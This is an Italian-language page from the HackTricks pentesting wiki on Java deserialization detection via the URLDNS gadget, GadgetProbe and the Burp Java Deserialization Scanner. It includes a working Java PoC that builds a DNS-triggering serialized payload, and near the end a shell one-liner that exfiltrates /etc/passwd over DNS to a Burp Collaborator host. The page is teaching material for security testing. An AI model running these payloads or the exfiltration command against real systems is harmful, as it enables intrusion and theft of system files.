Italian - Ht
HackTricks Training Twitter Linkedin Sponsor

Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Supporta HackTricks

Richiesta DNS sulla deserializzazione

La classe java.net.URL implementa Serializable, questo significa che questa classe può essere serializzata.

public final class URL implements java.io.Serializable {

Questa classe ha un comportamento curioso. Dalla documentazione: “Due host sono considerati equivalenti se entrambi i nomi host possono essere risolti negli stessi indirizzi IP”. Quindi, ogni volta che un oggetto URL chiama qualsiasi delle funzioni equals o hashCode, una richiesta DNS per ottenere l'indirizzo IP verrà inviata.

Chiamare la funzione hashCode da un oggetto URL è abbastanza semplice, è sufficiente inserire questo oggetto all'interno di un HashMap che verrà deserializzato. Questo perché alla fine della funzione readObject di HashMap viene eseguito questo codice:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

È in corso l'esecuzione di putVal con ogni valore all'interno del HashMap. Ma, più rilevante è la chiamata a hash con ogni valore. Questo è il codice della funzione hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Come puoi osservare, quando deserializzi un HashMap la funzione hash verrà eseguita con ogni oggetto e durante l'esecuzione del hash verrà eseguito .hashCode() dell'oggetto. Pertanto, se deserializzi un HashMap contenente un oggetto URL, l'oggetto URL eseguirà .hashCode().

Ora, diamo un'occhiata al codice di URLObject.hashCode():

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Come puoi vedere, quando un URLObject esegue .hashCode(), viene chiamato hashCode(this). Una continuazione puoi vedere il codice di questa funzione:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Puoi vedere che viene eseguito un getHostAddress sul dominio, lanciando una query DNS.

Pertanto, questa classe può essere abusata per lanciare una query DNS per dimostrare che la deserializzazione è possibile, o anche per esfiltrare informazioni (puoi aggiungere come sottodominio l'output di un'esecuzione di comando).

Esempio di codice payload URLDNS

Puoi trovare il codice payload URDNS di ysoserial qui. Tuttavia, solo per rendere più facile capire come codificarlo, ho creato il mio PoC (basato su quello di ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Maggiori informazioni

GadgetProbe

Puoi scaricare GadgetProbe dal Burp Suite App Store (Extender).

GadgetProbe cercherà di capire se alcune classi Java esistono sulla classe Java del server in modo da sapere se è vulnerabile a qualche exploit noto.

Come funziona

GadgetProbe utilizzerà lo stesso payload DNS della sezione precedente ma prima di eseguire la query DNS cercherà di deserializzare una classe arbitraria. Se la classe arbitraria esiste, la query DNS sarà inviata e GadgetProbe annoterà che questa classe esiste. Se la richiesta DNS non viene mai inviata, questo significa che la classe arbitraria non è stata deserializzata con successo, quindi o non è presente o non è serializzabile/sfruttabile.

All'interno di github, GadgetProbe ha alcune wordlist con classi Java da testare.

Maggiori informazioni

Scanner di Deserializzazione Java

Questo scanner può essere scaricato dal Burp App Store (Extender). L'estensione ha capacità passive e attive.

Passivo

Per impostazione predefinita, controlla passivamente tutte le richieste e le risposte inviate cercando byte magici serializzati Java e presenterà un avviso di vulnerabilità se ne viene trovata una:

Attivo

Test Manuale

Puoi selezionare una richiesta, fare clic con il tasto destro e Invia richiesta a DS - Test Manuale. Poi, all'interno della scheda Deserialization Scanner --> scheda Test Manuale puoi selezionare il punto di inserimento. E lanciare il test (Seleziona l'attacco appropriato a seconda della codifica utilizzata).

Anche se questo è chiamato "Test Manuale", è piuttosto automatizzato. Controlla automaticamente se la deserializzazione è vulnerabile a qualunque payload ysoserial controllando le librerie presenti sul server web e evidenzierà quelle vulnerabili. Per controllare le librerie vulnerabili puoi scegliere di lanciare Javas Sleeps, sleeps tramite consumo CPU, o usando DNS come è stato precedentemente menzionato.

Sfruttamento

Una volta identificata una libreria vulnerabile, puoi inviare la richiesta alla Scheda di Sfruttamento. In questa scheda devi selezionare di nuovo il punto di iniezione, scrivere la libreria vulnerabile per cui vuoi creare un payload e il comando. Poi, premi semplicemente il pulsante Attacco appropriato.

Informazioni sulla Deserializzazione DNS Java Exfil

Fai eseguire al tuo payload qualcosa di simile al seguente:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Maggiori informazioni

Supporta HackTricks
PreviousJava JSF ViewState (.faces) DeserializationNextBasic Java Deserialization (ObjectInputStream, readObject)

Last updated